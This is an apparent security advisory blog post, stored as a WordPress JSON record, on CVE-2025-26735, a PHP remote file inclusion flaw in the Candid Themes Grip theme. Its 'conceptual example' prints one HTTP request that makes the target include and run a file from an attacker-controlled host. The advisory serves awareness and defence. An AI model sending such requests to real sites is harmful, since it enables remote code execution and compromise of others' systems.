{"id":86394,"date":"2026-02-06T03:35:16","date_gmt":"2026-02-06T03:35:16","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T00:00:00","slug":"cve-2025-26735-remote-file-inclusion-vulnerability-in-candid-themes-grip","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-26735-remote-file-inclusion-vulnerability-in-candid-themes-grip\/","title":{"rendered":"CVE-2025-26735: Remote File Inclusion Vulnerability in Candid Themes Grip<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The vulnerability, CVE-2025-26735, is a severe flaw identified in the Candid Themes Grip, specifically affecting versions through 1.0.9. This PHP Remote File Inclusion vulnerability has serious implications, potentially compromising systems and causing data leakage. Cybersecurity professionals, system administrators, and users of Candid Themes Grip should be aware of this vulnerability, as it poses a significant risk to the integrity, confidentiality, and availability of their systems.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-26735
\nSeverity: High (7.5 CVSS Score)
\nAttack Vector: Remote, via network
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: System compromise and potential data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Candid Themes Grip | Versions through 1.0.9<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The exploit works by taking advantage of the improper control of a filename in PHP’s Include\/Require statement. By injecting a malicious filename, an attacker can remotely include a file from a remote server. This allows the attacker to execute arbitrary PHP code, potentially compromising the system or leading to data leakage.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

An attacker might exploit this vulnerability through a malicious HTTP request that includes a remote file. Here’s a conceptual example:<\/p>\n

GET \/index.php?file=http:\/\/attacker.com\/malicious_file.php HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n
In this example, `malicious_file.php` is a file on the attacker’s server which contains malicious PHP code. If the target server processes this request, it could include and execute the malicious file, leading to a potential system compromise.<\/p>\n","protected":false},"excerpt":{"rendered":"
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